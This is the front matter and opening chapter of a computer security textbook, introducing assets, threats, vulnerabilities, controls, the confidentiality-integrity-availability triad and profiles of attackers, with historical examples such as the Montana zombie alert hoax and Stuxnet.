Rather than name individuals, we thank the organizations in which we have inter- acted with creative, stimulating, and challenging people from whom we learned a lot. These places include Trusted Information Systems, the Contel Technology Center, the Centre for Software Reliability of the City University of London, Arca Systems, Exodus Communications, The RAND Corporation, Sandia National Lab, Cable & Wireless, the National Institute of Standards and Technology, the Institute for Information Infra- structure Protection, Qmulos, and the Editorial Board of IEEE Security & Privacy. If you worked with us at any of these locations, chances are high that your imprint can be found in this book. And for all the side conversations, debates, arguments, and light moments, we are grateful.


This page intentionally left blank


Charles P. Pfleeger is an internationally known expert on computer and communica- tions security. He was originally a professor at the University of Tennessee, leaving there to join computer security research and consulting companies Trusted Information Systems and Arca Systems (later Exodus Communications and Cable and Wireless). With Trusted Information Systems he was Director of European Operations and Senior Consultant. With Cable and Wireless he was Director of Research and a member of the staff of the Chief Security Officer. He was chair of the IEEE Computer Society Techni- cal Committee on Security and Privacy.

Shari Lawrence Pfleeger is widely known as a software engineering and computer security researcher, most recently as a Senior Computer Scientist with the Rand Corpo- ration and as Research Director of the Institute for Information Infrastructure Protec- tion. She is currently Editor-in-Chief of IEEE Security & Privacy magazine.

Jonathan Margulies is the CTO of Qmulos, a cybersecurity consulting firm. After receiv- ing his master’s degree in Computer Science from Cornell University, Mr. Margulies spent nine years at Sandia National Labs, researching and developing solutions to protect national security and critical infrastructure systems from advanced persistent threats. He then went on to NIST’s National Cybersecurity Center of Excellence, where he worked with a variety of critical infrastructure companies to create industry-standard security architectures. In his free time, Mr. Margulies edits the “Building Security In” section of IEEE Security & Privacy magazine.

About the Authors

This page intentionally left blank


In this chapter:

• Threats, vulnerabilities, and controls • Confidentiality, integrity, and availability • Attackers and attack types; method, opportunity, and

motive • Valuing assets

O n 11 February 2013, residents of Great Falls, Montana received the following warning on their televisions [INF13]. The transmission displayed a message banner on the bottom of the screen (as depicted in Figure 1-1).

1 Introduction

FIGURE 1-1 Emergency Broadcast Warning

NEWS ALERT: Bodies rising from graves

And the following alert was broadcast:

2 Chapter 1 Introduction

[Beep Beep Beep: the sound pattern of the U.S. government Emergency Alert System. The following text then scrolled across the screen:]

Civil authorities in your area have reported that the bodies of the dead are rising from their graves and attacking the living. Follow the messages on screen that will be updated as information becomes available.

Do not attempt to approach or apprehend these bodies as they are considered extremely dangerous. This warning applies to all areas receiving this broadcast.

[Beep Beep Beep]

The warning signal sounded authentic; it had the distinctive tone people recognize for warnings of serious emergencies such as hazardous weather or a natural disaster. And the text was displayed across a live broadcast television program. On the other hand, bodies rising from their graves sounds suspicious.

What would you have done? Only four people contacted police for assurance that the warning was indeed a hoax.

As you can well imagine, however, a different message could have caused thousands of people to jam the highways trying to escape. (On 30 October 1938 Orson Welles performed a radio broadcast of the H. G. Wells play War of the Worlds that did cause a minor panic of people believing that Martians had landed and were wreaking havoc in New Jersey.)

The perpetrator of this hoax was never caught, nor has it become clear exactly how it was done. Likely someone was able to access the system that feeds emergency broad- casts to local radio and television stations. In other words, a hacker probably broke into a computer system.

You encounter computers daily in countless situations, often in cases in which you are scarcely aware a computer is involved, like the emergency alert system for broadcast media. These computers move money, control airplanes, monitor health, lock doors, play music, heat buildings, regulate hearts, deploy airbags, tally votes, direct com- munications, regulate traffic, and do hundreds of other things that affect lives, health, finances, and well-being. Most of the time these computers work just as they should. But occasionally they do something horribly wrong, because of either a benign failure or a malicious attack.

This book is about the security of computers, their data, and the devices and objects to which they relate. In this book you will learn some of the ways computers can fail— or be made to fail—and how to protect against those failures. We begin that study in the way any good report does: by answering the basic questions of what, who, why, and how.


Computer security is the protection of the items you value, called the assets of a com- puter or computer system. There are many types of assets, involving hardware, soft- ware, data, people, processes, or combinations of these. To determine what to protect, we must first identify what has value and to whom.

Section 1.1 What Is Computer Security? 3

A computer device (including hardware, added components, and accessories) is cer- tainly an asset. Because most computer hardware is pretty useless without programs, the software is also an asset. Software includes the operating system, utilities and device handlers; applications such as word processing, media players or email handlers; and even programs that you may have written yourself. Much hardware and software is off- the-shelf, meaning that it is commercially available (not custom-made for your purpose) and that you can easily get a replacement. The thing that makes your computer unique and important to you is its content: photos, tunes, papers, email messages, projects, cal- endar information, ebooks (with your annotations), contact information, code you cre- ated, and the like. Thus, data items on a computer are assets, too. Unlike most hardware and software, data can be hard—if not impossible—to recreate or replace. These assets are all shown in Figure 1-2.

These three things—hardware, software, and data—contain or express things like the design for your next new product, the photos from your recent vacation, the chap- ters of your new book, or the genome sequence resulting from your recent research. All of these things represent intellectual endeavor or property, and they have value that differs from one person or organization to another. It is that value that makes them assets worthy of protection, and they are the elements we want to protect. Other assets—such as access to data, quality of service, processes, human users, and net- work connectivity—deserve protection, too; they are affected or enabled by the hard- ware, software, and data. So in most cases, protecting hardware, software, and data covers these other assets as well.

In this book, unless we specifi- cally distinguish between hardware, software, and data, we refer to all these assets as the computer system,

FIGURE 1-2 Computer Objects of Value

Hardware: Data:Software: • Computer • Devices (disk drives, memory, printer) • Network gear

• Operating system • Utilities (antivirus) • Commercial applications (word processing, photo editing) • Individual applications

• Documents • Photos • Music, videos • Email • Class projects

Computer systems—hardware, software, and data—have value and deserve security protection.

4 Chapter 1 Introduction

or sometimes as the computer. And because processors are embedded in so many devices, we also need to think about such variations as mobile phones, implanted pace- makers, heating controllers, and automobiles. Even if the primary purpose of the device is not computing, the device’s embedded computer can be involved in security incidents and represents an asset worthy of protection.

Values of Assets

After identifying the assets to protect, we next determine their value. We make value- based decisions frequently, even when we are not aware of them. For example, when you go for a swim you can leave a bottle of water and a towel on the beach, but not your wallet or cell phone. The difference relates to the value of the assets.

The value of an asset depends on the asset owner’s or user’s perspective, and it may be independent of monetary cost, as shown in Figure 1-3. Your photo of your sister, worth only a few cents in terms of paper and ink, may have high value to you and no value to your roommate. Other items’ value depends on replacement cost; some com- puter data are difficult or impossible to replace. For example, that photo of you and your friends at a party may have cost you nothing, but it is invaluable because there is no other copy. On the other hand, the DVD of your favorite film may have cost a signifi- cant portion of your take-home pay, but you can buy another one if the DVD is stolen or corrupted. Simi- larly, timing has bearing on asset

Off the shelf; easily replaceable

Unique; irreplaceable

Hardware: • Computer • Devices (disk drives, memory, printer) • Network gear

Software: • Operating system • Utilities (antivirus) • Commercial applications (word processing, photo editing)

• Individual applications

Data: • Documents • Photos • Music, videos • Email • Class projects

FIGURE 1-3 Values of Assets

Assets’ values are personal, time dependent, and often imprecise.

Section 1.1 What Is Computer Security? 5

value. For example, the value of the plans for a company’s new product line is very high, especially to competitors. But once the new product is released, the plans’ value drops dramatically.

The Vulnerability–Threat–Control Paradigm

The goal of computer security is protecting valuable assets. To study different ways of protection, we use a framework that describes how assets may be harmed and how to counter or mitigate that harm.

A vulnerability is a weakness in the system, for example, in procedures, design, or implementation, that might be exploited to cause loss or harm. For instance, a particular system may be vulnerable to unau- thorized data manipulation because the system does not verify a user’s identity before allowing data access.

A threat to a computing system is a set of circumstances that has the potential to cause loss or harm. To see the difference between a threat and a vulnerability, consider the illustration in Figure 1-4. Here, a wall is holding water back. The water to the left of the wall is a threat to the man on the right of the wall: The water could rise, overflowing onto the man, or it could stay beneath the height of the wall, causing the wall to collapse. So the threat of harm is the potential for the man to get wet, get hurt, or be drowned. For now, the wall is intact, so the threat to the man is unrealized.

A vulnerability is a weakness that could be exploited to cause harm.

A threat is a set of circumstances that could cause harm.

FIGURE 1-4 Threat and Vulnerability

6 Chapter 1 Introduction

However, we can see a small crack in the wall—a vulnerability that threatens the man’s security. If the water rises to or beyond the level of the crack, it will exploit the vulnerability and harm the man.

There are many threats to a computer system, including human-initiated and computer-initiated ones. We have all experienced the results of inadvertent human errors, hardware design flaws, and software failures. But natural disasters are threats, too; they can bring a system down when the computer room is flooded or the data center collapses from an earthquake, for example.

A human who exploits a vulnerability perpetrates an attack on the system. An attack can also be launched by another system, as when one system sends an overwhelming flood of messages to another, virtually shutting down the second system’s ability to function. Unfortunately, we have seen this type of attack frequently, as denial-of-service attacks deluge servers with more messages than they can handle. (We take a closer look at denial of service in Chapter 6.)

How do we address these problems? We use a control or countermeasure as pro- tection. That is, a control is an action, device, procedure, or technique that removes or reduces a vulnerability. In Figure 1-4, the man is placing his finger in the hole, control- ling the threat of water leaks until he finds a more permanent solution to the problem. In general, we can describe the relationship between threats, controls, and vulnerabilities in this way:

A threat is blocked by control of a vulnerability.

Before we can protect assets, we need to know the kinds of harm we have to protect them against, so now we explore threats to valuable assets.


We can consider potential harm to assets in two ways: First, we can look at what bad things can happen to assets, and second, we can look at who or what can cause or allow those bad things to happen. These two perspectives enable us to determine how to pro- tect assets.

Think for a moment about what makes your computer valuable to you. First, you use it as a tool for sending and receiving email, searching the web, writing papers, and performing many other tasks, and you expect it to be available for use when you want it. Without your computer these tasks would be harder, if not impossible. Second, you rely heavily on your computer’s integrity. When you write a paper and save it, you trust that the paper will reload exactly as you saved it. Similarly, you expect that the photo a friend passes you on a flash drive will appear the same when you load it into your com- puter as when you saw it on your friend’s computer. Finally, you expect the “personal” aspect of a personal computer to stay personal, meaning you want it to protect your confidentiality. For example, you want your email messages to be just between you and

Controls prevent threats from exercising vulnerabilities.

Section 1.2 Threats 7

your listed recipients; you don’t want them broadcast to other people. And when you write an essay, you expect that no one can copy it without your permission.

These three aspects, confidentiality, integrity, and availability, make your computer valuable to you. But viewed from another perspective, they are three possible ways to make it less valuable, that is, to cause you harm. If someone steals your computer, scrambles data on your disk, or looks at your private data files, the value of your com- puter has been diminished or your computer use has been harmed. These characteristics are both basic security properties and the objects of security threats.

We can define these three properties as follows.

• availability: the ability of a system to ensure that an asset can be used by any authorized parties

• integrity: the ability of a system to ensure that an asset is modified only by authorized parties

• confidentiality: the ability of a system to ensure that an asset is viewed only by authorized parties

These three properties, hallmarks of solid security, appear in the literature as early as James P. Anderson’s essay on computer security [AND73] and reappear frequently in more recent computer security papers and discussions. Taken together (and rearranged), the properties are called the C-I-A triad or the security triad. ISO 7498-2 [ISO89] adds to them two more properties that are desirable, particularly in communication networks:

• authentication: the ability of a system to confirm the identity of a sender • nonrepudiation or accountability: the ability of a system to confirm that a

sender cannot convincingly deny having sent something

The U.S. Department of Defense [DOD85] adds auditability: the ability of a system to trace all actions related to a given asset. The C-I-A triad forms a foundation for think- ing about security. Authenticity and nonrepudiation extend security notions to network communications, and auditability is important in establishing individual accountability for computer activity. In this book we generally use the C-I-A triad as our security taxonomy so that we can frame threats, vulnerabilities, and controls in terms of the C-I-A properties affected. We high- light one of these other properties when it is relevant to a particular threat we are describing. For now, we focus on just the three elements of the triad.

What can happen to harm the confidentiality, integrity, or availability of computer assets? If a thief steals your computer, you no longer have access, so you have lost availability; furthermore, if the thief looks at the pictures or documents you have stored, your confidentiality is compromised. And if the thief changes the content of your music files but then gives them back with your computer, the integrity of your data has been harmed. You can envision many scenarios based around these three properties.

C-I-A triad: confidentiality, integrity, availability

8 Chapter 1 Introduction

The C-I-A triad can be viewed from a different perspective: the nature of the harm caused to assets. Harm can also be characterized by four acts: interception, interrup- tion, modification, and fabrication. These four acts are depicted in Figure 1-5. From this point of view, confidentiality can suffer if someone intercepts data, availability is lost if someone or something interrupts a flow of data or access to a computer, and integrity can fail if someone or something modifies data or fabricates false data. Think- ing of these four kinds of acts can help you determine what threats might exist against the computers you are trying to protect.

To analyze harm, we next refine the C-I-A triad, looking more closely at each of its elements.


Some things obviously need confidentiality protection. For example, students’ grades, financial transactions, medical records, and tax returns are sensitive. A proud student may run out of a classroom screaming “I got an A!” but the student should be the one to choose whether to reveal that grade to others. Other things, such as diplomatic and military secrets, companies’ marketing and product development plans, and educators’ tests, also must be carefully controlled. Sometimes, however, it is not so obvious that something is sensitive. For example, a military food order may seem like innocuous information, but a sudden increase in the order could be a sign of incipient engagement in conflict. Purchases of food, hourly changes in location, and access to books are not

Modification Fabrication


FIGURE 1-5 Four Acts to Cause Security Harm

Section 1.2 Threats 9

things you would ordinarily consider confidential, but they can reveal something that someone wants to be kept confidential.

The definition of confidentiality is straightforward: Only authorized people or sys- tems can access protected data. However, as we see in later chapters, ensuring con- fidentiality can be difficult. For example, who determines which people or systems are authorized to access the current system? By “accessing” data, do we mean that an authorized party can access a single bit? the whole collection? pieces of data out of con- text? Can someone who is authorized disclose data to other parties? Sometimes there is even a question of who owns the data: If you visit a web page, do you own the fact that you clicked on a link, or does the web page owner, the Internet provider, someone else, or all of you?

In spite of these complicating examples, confidentiality is the security property we understand best because its meaning is narrower than that of the other two. We also understand confidentiality well because we can relate computing examples to those of preserving confidentiality in the real world.

Confidentiality relates most obviously to data, although we can think of the con- fidentiality of a piece of hardware (a novel invention) or a person (the whereabouts of a wanted criminal). Here are some properties that could mean a failure of data confidentiality:

• An unauthorized person accesses a data item.

• An unauthorized process or program accesses a data item.

• A person authorized to access certain data accesses other data not authorized (which is a specialized version of “an unauthorized person accesses a data item”).

• An unauthorized person accesses an approximate data value (for example, not knowing someone’s exact salary but knowing that the salary falls in a particular range or exceeds a particular amount).

• An unauthorized person learns the existence of a piece of data (for example, knowing that a company is developing a certain new product or that talks are underway about the merger of two companies).

Notice the general pattern of these statements: A person, process, or program is (or is not) authorized to access a data item in a particular way. We call the person, process, or program a subject, the data item an object, the kind of access (such as read, write, or execute) an access mode, and the authorization a policy, as shown in Figure 1-6. These four terms reappear throughout this book because they are fundamental aspects of computer security.

One word that captures most aspects of confidentiality is view, although you should not take that term literally. A failure of confidentiality does not necessarily mean that someone sees an object and, in fact, it is virtually impossible to look at bits in any mean- ingful way (although you may look at their representation as characters or pictures). The word view does connote another aspect of confidentiality in computer security, through the association with viewing a movie or a painting in a museum: look but do not touch. In computer security, confidentiality usually means obtaining but not modify- ing. Modification is the subject of integrity, which we consider in the next section.

10 Chapter 1 Introduction


Examples of integrity failures are easy to find. A number of years ago a malicious macro in a Word document inserted the word “not” after some random instances of the word “is;” you can imagine the havoc that ensued. Because the document was generally syntactically correct, people did not immediately detect the change. In another case, a model of the Pentium computer chip produced an incorrect result in certain circum- stances of floating-point arithmetic. Although the circumstances of failure were rare, Intel decided to manufacture and replace the chips. Many of us receive mail that is misaddressed because someone typed something wrong when transcribing from a writ- ten list. A worse situation occurs when that inaccuracy is propagated to other mailing lists such that we can never seem to correct the root of the problem. Other times we find that a spreadsheet seems to be wrong, only to find that someone typed “space 123” in a cell, changing it from a numeric value to text, so the spreadsheet program misused that cell in computation. Suppose someone converted numeric data to roman numerals: One could argue that IV is the same as 4, but IV would not be useful in most applications, nor would it be obviously meaningful to someone expecting 4 as an answer. These cases show some of the breadth of examples of integrity failures.

Integrity is harder to pin down than confidentiality. As Stephen Welke and Terry Mayfield [WEL90, MAY91, NCS91a] point out, integrity means different things in dif- ferent contexts. When we survey the way some people use the term, we find several

Policy: Who + What + How = Yes/No

Subject (who)

Object (what) Mode of access


FIGURE 1-6 Access Control

Section 1.2 Threats 11

different meanings. For example, if we say that we have preserved the integrity of an item, we may mean that the item is

• precise

• accurate

• unmodified

• modified only in acceptable ways

• modified only by authorized people

• modified only by authorized processes

• consistent

• internally consistent

• meaningful and usable

Integrity can also mean two or more of these properties. Welke and Mayfield recog- nize three particular aspects of integrity—authorized actions, separation and protection of resources, and error detection and correction. Integrity can be enforced in much the same way as can confidentiality: by rigorous control of who or what can access which resources in what ways.


A computer user’s worst nightmare: You turn on the switch and the computer does noth- ing. Your data and programs are presumably still there, but you cannot get at them. For- tunately, few of us experience that failure. Many of us do experience overload, however: access gets slower and slower; the computer responds but not in a way we consider normal or acceptable.

Availability applies both to data and to services (that is, to information and to infor- mation processing), and it is similarly complex. As with the notion of confidentiality, different people expect availability to mean different things. For example, an object or service is thought to be available if the following are true:

• It is present in a usable form.

• It has enough capacity to meet the service’s needs.

• It is making clear progress, and, if in wait mode, it has a bounded waiting time.

• The service is completed in an acceptable period of time.

We can construct an overall description of availability by combining these goals. Following are some criteria to define availability.

• There is a timely response to our request.

• Resources are allocated fairly so that some requesters are not favored over others.

• Concurrency is controlled; that is, simultaneous access, deadlock management, and exclusive access are supported as required.

12 Chapter 1 Introduction

• The service or system involved follows a philosophy of fault tolerance, whereby hardware or software faults lead to graceful cessation of service or to work- arounds rather than to crashes and abrupt loss of information. (Cessation does mean end; whether it is graceful or not, ultimately the system is unavailable. However, with fair warning of the system’s stopping, the user may be able to move to another system and continue work.)

• The service or system can be used easily and in the way it was intended to be used. (This is a characteristic of usability, but an unusable system may also cause an availability failure.)

As you can see, expectations of availability are far-reaching. In Figure 1-7 we depict some of the properties with which availability overlaps. Indeed, the security community is just beginning to understand what availability implies and how to ensure it.

A person or system can do three basic things with a data item: view it, modify it, or use it. Thus, viewing (confidentiality), modifying (integ- rity), and using (availability) are the basic modes of access that computer security seeks to preserve.

A paradigm of computer security is access control: To implement a policy, com- puter security controls all accesses by all subjects to all protected objects in all modes of access. A small, centralized control of access is fundamental to preserving confi- dentiality and integrity, but it is not clear that a single access control point can enforce availability. Indeed, experts on dependability will note that single points of control can become single points of failure, making it easy for an attacker to destroy availability by disabling the single control point. Much of computer security’s past success has focused on confidentiality and integrity; there are models of confidentiality and integrity, for


Usability Fault



FIGURE 1-7 Availability and Related Aspects

Computer security seeks to prevent unauthorized viewing (confidentiality) or modification (integrity) of data while preserving access (availability).

Section 1.2 Threats 13

example, see David Bell and Leonard La Padula [BEL73, BEL76] and Kenneth Biba [BIB77]. Availability is security’s next great challenge.

We have just described the C-I-A triad and the three fundamental security prop- erties it represents. Our description of these properties was in the context of things that need protection. To motivate your understanding we gave some examples of harm and threats to cause harm. Our next step is to think about the nature of threats themselves.

Types of Threats

For some ideas of harm, look at Figure 1-8, taken from Willis Ware’s report [WAR70]. Although it was written when computers were so big, so expensive, and so difficult to operate that only large organizations like universities, major corporations, or govern- ment departments would have one, Ware’s discussion is still instructive today. Ware was concerned primarily with the protection of classified data, that is, preserving confi- dentiality. In the figure, he depicts humans such as programmers and maintenance staff gaining access to data, as well as radiation by which data can escape as signals. From the figure you can see some of the many kinds of threats to a computer system.

One way to analyze harm is to consider the cause or source. We call a potential cause of harm a threat. Harm can be caused by either nonhuman events or humans. Examples of nonhuman threats include natural disasters

FIGURE 1-8 Computer [Network] Vulnerabilities (from [WAR70])

Threats are caused both by human and other sources.

14 Chapter 1 Introduction

like fires or floods; loss of electrical power; failure of a component such as a communi- cations cable, processor chip, or disk drive; or attack by a wild boar.

Human threats can be either benign (nonmalicious) or malicious. Nonmalicious kinds of harm include someone’s accidentally spilling a soft drink on a laptop, unin- tentionally deleting text, inadvertently sending an email message to the wrong person, and carelessly typing “12” instead of “21” when entering a phone number or clicking “yes” instead of “no” to overwrite a file. These inadvertent, human errors happen to most people; we just hope that the seriousness of harm is not too great, or if it is, that we will not repeat the mistake.

Most computer security activity relates to malicious, human-caused harm: A mali- cious person actually wants to cause harm, and so we often use the term attack for a malicious computer security event. Malicious attacks can be random or directed. In a random attack the attacker wants to harm any computer or user; such an attack is analogous to accosting the next pedestrian who walks down the street. An example of a random attack is malicious code posted on a website that could be visited by anybody.

In a directed attack, the attacker intends harm to specific computers, perhaps at one organization (think of attacks against a political organization) or belonging to a specific individual (think of trying to drain a specific person’s bank account, for example, by impersonation). Another class of directed attack is against a particular product, such as any computer running a particular browser. (We do not want to split hairs about whether such an attack is directed—at that one software product—or random, against any user of that product; the point is not semantic perfection but protecting against the attacks.) The range of possible directed attacks is practically unlimited. Dif- ferent kinds of threats are shown in Figure 1-9.

Although the distinctions shown in Figure 1-9 seem clear-cut, sometimes the nature of an attack is not obvious until the attack is well underway, or perhaps even ended. A normal hardware failure can seem like a directed, malicious attack to deny access, and hackers often try to conceal their activity to look like ordinary, authorized users. As computer security experts we need to anticipate what bad things might happen, instead of waiting for the attack to happen or debating whether the attack is intentional or accidental.

Neither this book nor any checklist or method can show you all the kinds of harm that can happen to computer assets. There are too many ways to interfere with your use of these assets. Two retrospective lists of known vulnerabilities are of interest, how- ever. The Common Vulnerabilities and Exposures (CVE) list (see is a dictionary of publicly known security vulnerabilities and exposures. CVE’s com- mon identifiers enable data exchange between security products and provide a baseline index point for evaluating coverage of security tools and services. To measure the extent of harm, the Common Vulnerability Scoring System (CVSS) (see cvss.cfm) provides a standard measurement system that allows accurate and consistent scoring of vulnerability impact.

Threats can be malicious or not.

Threats can be targeted or random.

Section 1.2 Threats 15

Advanced Persistent Threat

Security experts are becoming increasingly concerned about a type of threat called advanced persistent threat. A lone attacker might create a random attack that snares a few, or a few million, individuals, but the resulting impact is limited to what that single attacker can organize and manage. A collection of attackers—think, for example, of the cyber equivalent of a street gang or an organized crime squad—might work together to purloin credit card numbers or similar financial assets to fund other illegal activity. Such attackers tend to be opportunistic, picking unlucky victims’ pockets and moving on to other activities.

Advanced persistent threat attacks come from organized, well financed, patient assailants. Often affiliated with governments or quasi-governmental groups, these attackers engage in long term campaigns. They carefully select their targets, crafting attacks that appeal to specifically those targets; email messages called spear phishing (described in Chapter 4) are intended to seduce their recipients. Typically the attacks are silent, avoiding any obvious impact that would alert a victim, thereby allowing the attacker to exploit the victim’s access rights over a long time.

The motive of such attacks is sometimes unclear. One popular objective is economic espionage. A series of attacks, apparently organized and supported by the Chinese gov- ernment, was used in 2012 and 2013 to obtain product designs from aerospace com- panies in the United States. There is evidence the stub of the attack code was loaded into victim machines long in advance of the attack; then, the attackers installed the more complex code and extracted the desired data. In May 2014 the Justice Department indicted five Chinese hackers in absentia for these attacks.


Natural causes

Benign intent

Malicious intent


Examples: Fire, power failure

Human causes

Example: Impersonation


Example: Malicious code on a general web site

Example: Human error

FIGURE 1-9 Kinds of Threats

16 Chapter 1 Introduction

In the summer of 2014 a series of attacks against J.P. Morgan Chase bank and up to a dozen similar financial institutions allowed the assailants access to 76 million names, phone numbers, and email addresses. The attackers—and even their country of origin— remain unknown, as does the motive. Perhaps the attackers wanted more sensitive finan- cial data, such as account numbers or passwords, but were only able to get the less valuable contact information. It is also not known if this attack was related to an attack a year earlier that disrupted service to that bank and several others.

To imagine the full landscape of possible attacks, you may find it useful to consider the kinds of people who attack computer systems. Although potentially anyone is an attacker, certain classes of people stand out because of their backgrounds or objectives. Thus, in the following sections we look at profiles of some classes of attackers.

Types of Attackers

Who are attackers? As we have seen, their motivations range from chance to a specific target. Putting aside attacks from natural and benign causes, we can explore who the attackers are and what motivates them.

Most studies of attackers actually analyze computer criminals, that is, people who have actually been convicted of a crime, primarily because that group is easy to identify and study. The ones who got away or who carried off an attack without being detected may have characteristics different from those of the criminals who have been caught. Worse, by studying only the criminals we have caught, we may not learn how to catch attackers who know how to abuse the system without being apprehended.

What does a cyber criminal look like? In television and films the villains wore shabby clothes, looked mean and sinister, and lived in gangs somewhere out of town. By contrast, the sheriff dressed well, stood proud and tall, was known and respected by everyone in town, and struck fear in the hearts of most criminals.

To be sure, some computer criminals are mean and sinister types. But many more wear business suits, have university degrees, and appear to be pillars of their commu- nities. Some are high school or university students. Others are middle-aged business executives. Some are mentally deranged, overtly hostile, or extremely committed to a cause, and they attack computers as a symbol. Others are ordinary people tempted by personal profit, revenge, challenge, advancement, or job security—like perpetrators of any crime, using a computer or not. Researchers have tried to find the psychological traits that distinguish attackers, as described in Sidebar 1-1. These studies are far from conclusive, however, and the traits they identify may show correlation but not neces- sarily causality. To appreciate this point, suppose a study found that a disproportionate number of people convicted of computer crime were left-handed. Does that result imply that all left-handed people are computer criminals or that only left-handed people are? Certainly not. No single profile captures the characteristics of a “typical” computer attacker, and the characteristics of some notorious attackers also match many people who are not attackers. As shown in Figure 1-10, attackers look just like anybody in a crowd.

No one pattern matches all attackers.

Section 1.2 Threats 17

SIDEBAR 1-1 An Attacker’s Psychological Profile?

Temple Grandin, a professor of animal science at Colorado State Univer- sity and a sufferer from a mental disorder called Asperger syndrome (AS), thinks that Kevin Mitnick and several other widely described hackers show classic symptoms of Asperger syndrome. Although quick to point out that no research has established a link between AS and hacking, Grandin notes similar behavior traits among Mitnick, herself, and other AS sufferers. An article in USA Today (29 March 2001) lists the following AS traits:

• poor social skills, often associated with being loners during child- hood; the classic “computer nerd”

• fidgeting, restlessness, inability to make eye contact, lack of response to cues in social interaction, such as facial expressions or body language

• exceptional ability to remember long strings of numbers • ability to focus on a technical problem intensely and for a long time,

although easily distracted on other problems and unable to manage several tasks at once

• deep honesty and respect for laws


Criminal- for-hire

Organized crime member




Loosely connected


FIGURE 1-10 Attackers

18 Chapter 1 Introduction

SIDEBAR 1-1 Continued

Donn Parker [PAR98] has studied hacking and computer crime for many years. He states “hackers are characterized by an immature, exces- sively idealistic attitude . . . They delight in presenting themselves to the media as idealistic do-gooders, champions of the underdog.”

Consider the following excerpt from an interview [SHA00] with “Mix- ter,” the German programmer who admitted he was the author of a wide- spread piece of attack software called Tribal Flood Network (TFN) and its sequel TFN2K:

Q: Why did you write the software? A: I first heard about Trin00 [another piece of attack software] in July

’99 and I considered it as interesting from a technical perspective, but also potentially powerful in a negative way. I knew some facts of how Trin00 worked, and since I didn’t manage to get Trin00 sources or binaries at that time, I wrote my own server-client network that was capable of performing denial of service.

Q: Were you involved . . . in any of the recent high-profile attacks? A: No. The fact that I authored these tools does in no way mean that I

condone their active use. I must admit I was quite shocked to hear about the latest attacks. It seems that the attackers are pretty clueless people who misuse powerful resources and tools for generally harm- ful and senseless activities just “because they can.”

Notice that from some information about denial-of-service attacks, he wrote his own server-client network and then a sophisticated attack. But he was “quite shocked” to hear they were used for harm.

More research is needed before we can define the profile of a hacker. And even more work will be needed to extend that profile to the profile of a (malicious) attacker. Not all hackers become attackers; some hackers become extremely dedicated and conscientious system administrators, developers, or security experts. But some psychologists see in AS the rudi- ments of a hacker’s profile.


Originally, computer attackers were individuals, acting with motives of fun, challenge, or revenge. Early attackers acted alone. Two of the most well known among them are Robert Morris Jr., the Cornell University graduate student who brought down the Inter- net in 1988 [SPA89], and Kevin Mitnick, the man who broke into and stole data from dozens of computers, including the San Diego Supercomputer Center [MAR95].

Organized, Worldwide Groups

More recent attacks have involved groups of people. An attack against the government of the country of Estonia (described in more detail in Chapter 13) is believed to have been an uncoordinated outburst from a loose federation of attackers from around the world. Kevin Poulsen [POU05] quotes Tim Rosenberg, a research professor at George

Section 1.2 Threats 19

Washington University, warning of “multinational groups of hackers backed by organized crime” and showing the sophistication of prohibition-era mobsters. He also reports that Christopher Painter, deputy director of the U.S. Department of Justice’s computer crime section, argues that cyber criminals and serious fraud artists are increasingly working in concert or are one and the same. According to Painter, loosely connected groups of crimi- nals all over the world work together to break into systems and steal and sell information, such as credit card numbers. For instance, in October 2004, U.S. and Canadian authorities arrested 28 people from 6 countries involved in an international, organized cybercrime ring to buy and sell credit card information and identities.

Whereas early motives for computer attackers such as Morris and Mitnick were per- sonal, such as prestige or accomplishment, recent attacks have been heavily influenced by financial gain. Security firm McAfee reports “Criminals have realized the huge financial gains to be made from the Internet with little risk. They bring the skills, knowl- edge, and connections needed for large scale, high-value criminal enterprise that, when combined with computer skills, expand the scope and risk of cybercrime.” [MCA05]

Organized Crime

Attackers’ goals include fraud, extortion, money laundering, and drug trafficking, areas in which organized crime has a well-established presence. Evidence is growing that organized crime groups are engaging in computer crime. In fact, traditional criminals are recruiting hackers to join the lucrative world of cybercrime. For example, Albert Gonzales was sentenced in March 2010 to 20 years in prison for working with a crime ring to steal 40 million credit card numbers from retailer TJMaxx and others, costing over $200 million (Reuters, 26 March 2010).

Organized crime may use computer crime (such as stealing credit card numbers or bank account details) to finance other aspects of crime. Recent attacks suggest that professional criminals have discovered just how lucrative computer crime can be. Mike Danseglio, a security project manager with Microsoft, said, “In 2006, the attackers want to pay the rent. They don’t want to write a worm that destroys your hardware. They want to assimilate your computers and use them to make money.” [NAR06a] Mikko Hyppönen, Chief Research Officer with Finnish security company f-Secure, agrees that today’s attacks often come from Russia, Asia, and Brazil; the motive is now profit, not fame [BRA06]. Ken Dunham, Director of the Rapid Response Team for VeriSign says he is “convinced that groups of well-organized mobsters have taken control of a global billion-dollar crime network powered by skillful hackers.” [NAR06b]

McAfee also describes the case of a hacker-for-hire: a businessman who hired a 16-year-old New Jersey hacker to attack the websites of his competitors. The hacker barraged the site for a five-month period and damaged not only the target companies but also their Internet service providers (ISPs) and other unrelated companies that used the same ISPs. By FBI estimates, the attacks cost all the companies over $2 million; the FBI arrested both hacker and businessman in March 2005 [MCA05].

Brian Snow [SNO05] observes that hackers want a score or some kind of evidence to give them bragging rights. Organized crime wants a resource; such criminals want to

Organized crime groups are discovering that computer crime can be lucrative.

20 Chapter 1 Introduction

stay under the radar to be able to extract profit from the system over time. These differ- ent objectives lead to different approaches to computer crime: The novice hacker can use a crude attack, whereas the professional attacker wants a neat, robust, and undetect- able method that can deliver rewards for a long time.


The link between computer security and terrorism is quite evident. We see terrorists using computers in four ways:

• Computer as target of attack: Denial-of-service attacks and website defacements are popular activities for any political organization because they attract attention to the cause and bring undesired negative attention to the object of the attack. An example is the massive denial-of-service attack launched against the country of Estonia, detailed in Chapter 13.

• Computer as method of attack: Launching offensive attacks requires the use of computers. Stuxnet, an example of malicious computer code called a worm, is known to attack automated control systems, specifically a model of control system manufactured by Siemens. Experts say the code is designed to disable machinery used in the control of nuclear reactors in Iran [MAR10]. The per- sons behind the attack are unknown, but the infection is believed to have spread through USB flash drives brought in by engineers maintaining the computer controllers. (We examine the Stuxnet worm in more detail in Chapters 6 and 13.)

• Computer as enabler of attack: Websites, web logs, and email lists are effective, fast, and inexpensive ways to allow many people to coordinate. According to the Council on Foreign Relations, the terrorists responsible for the November 2008 attack that killed over 200 people in Mumbai used GPS systems to guide their boats, Blackberries for their communication, and Google Earth to plot their routes.

